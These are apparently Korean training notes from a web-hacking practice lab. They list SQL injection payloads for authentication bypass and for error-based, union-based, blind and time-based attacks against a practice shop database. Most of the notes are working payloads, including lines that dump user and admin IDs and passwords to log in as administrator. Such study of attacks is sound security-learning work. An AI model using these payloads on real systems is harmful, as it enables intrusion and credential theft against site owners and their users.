웹 서비스 기반 주요 위협 SQL Injection
[SQL Injection]
내가 입력할 수 있는 영역에 진단을 수행함(입력값)
웹 사이트를 둘러보다가
DB에 질의할 것 같은 페이지에서 진단을 수행
※인증우회
- ' or 1=1 --
- ' or '1'='1
- ' or 'a'='a
- ' or '222222'='222222
- ETC....
※Error-Based SQL Injection
- DB에러가 출력되고, 에러 메시지가 친절할 때
= ' and db_name() > 1 -- (DB이름)
= ' having 1=1 -- (Table, 첫번째 column)
= ' group by num, user_id -- (컬럼들)
= ' or 1 in (select user_id from members where num > 0) --
= ' or 1 in (select user_id from members where user_id not in('oyes')) --
= ' or 1 in (select 'aaaa'+cast(count(*) as varchar(100)) from members) --
-알아낸 것
= DB: oyesmall
= Table: members
= Column: num, user_id, passwd
= 계정: oyes, fNGS
= 계정의 수: 5개
※Union SQL Injection
- 현재 질의하는 컬럼이 *이 아니고, 제한되어 보일 때(적어보일 때)
- 점검 구문: (점점 늘리기)
= ' union select '1','2', ~
= ' union select 1,2,3 ~ --
= ' union select 1,2,3,4,5 --
= ' union select 1,2,3,4,컬럼? from 테이블? --
= ' union select 1,2,3,4, table_name from information_schema.tables --
= ' union select 1,2,3,4, table_name from information_schema.columns --
- 테이블 목록 확인 가능
--> members? 확인해볼까
= ' union select 1,2,3,4, column_name from information_schema.columns --
- 컬럼의 목록도 확인 가능
= ' union select 1,2,3,4, column_name from information_schema.columns
where table_name='members' --
--> user_id? passwd? 수집해놓기
= Payload: ' union select 1,2,3,user_id, passwd from members --
= 계정 목록 탈취
- 응용하여 관리자 페이지 로그인하기
' union select 1,2,3,4, table_name from information_schema.columns --
= admin_tb
' union select 1,2,3,4, column_name from information_schema.columns
where table_name='admin_tb' --
Payload: ' union select 1,2,3,adminid, adminpwd from admin_tb --
※Blind SQL Injection
- 에러 메시지가 친절하지 않고, Union 가망 없음
- ☆참/거짓에 따라 웹사이트의 반응이 다를 때
= 기존키워드' and 1=1 --
= 기존키워드' and 1=2 --
= ' and '1'='1
= ' and '1'='2
Q&A게시판 -> Writer -> admin' and 1=1 --
[DB이름]
= ' and substring(db_name(),1,1)='o' --
= ' and substring(db_name(),1,8)='oyesmall' --
= ' and ascii(substring(db_name(),1,1))=111 --
= ' and ascii(substring(db_name(),1,1))<112 --
- Time-Based SQL Injection
참/거짓 다 DB에러로 출력될 때
구문:
= '; if 1=1 waitfor delay '0:0:3' --
= '; if 1=2 waitfor delay '0:0:3' --
= '; if substring(db_name(),1,8)='oyesmall' waitfor delay '0:0:3' --
https://metacoding.tistory.com/entry/11%EC%9D%BC%EC%B0%A8-1
SQL(Structured Query Language) Injection 공격 개념 취약점
웹서버와 DB서버가 연동되는 웹 서비스 중 사용자의 입력을 받는 화면이 로그인 화면, 검색 입력 창 등 존재하고 입력 받는 문자열에 별도의 처리없이 데이터베이스 조회를 위한 SQL 구문이 사용
metacoding.tistory.com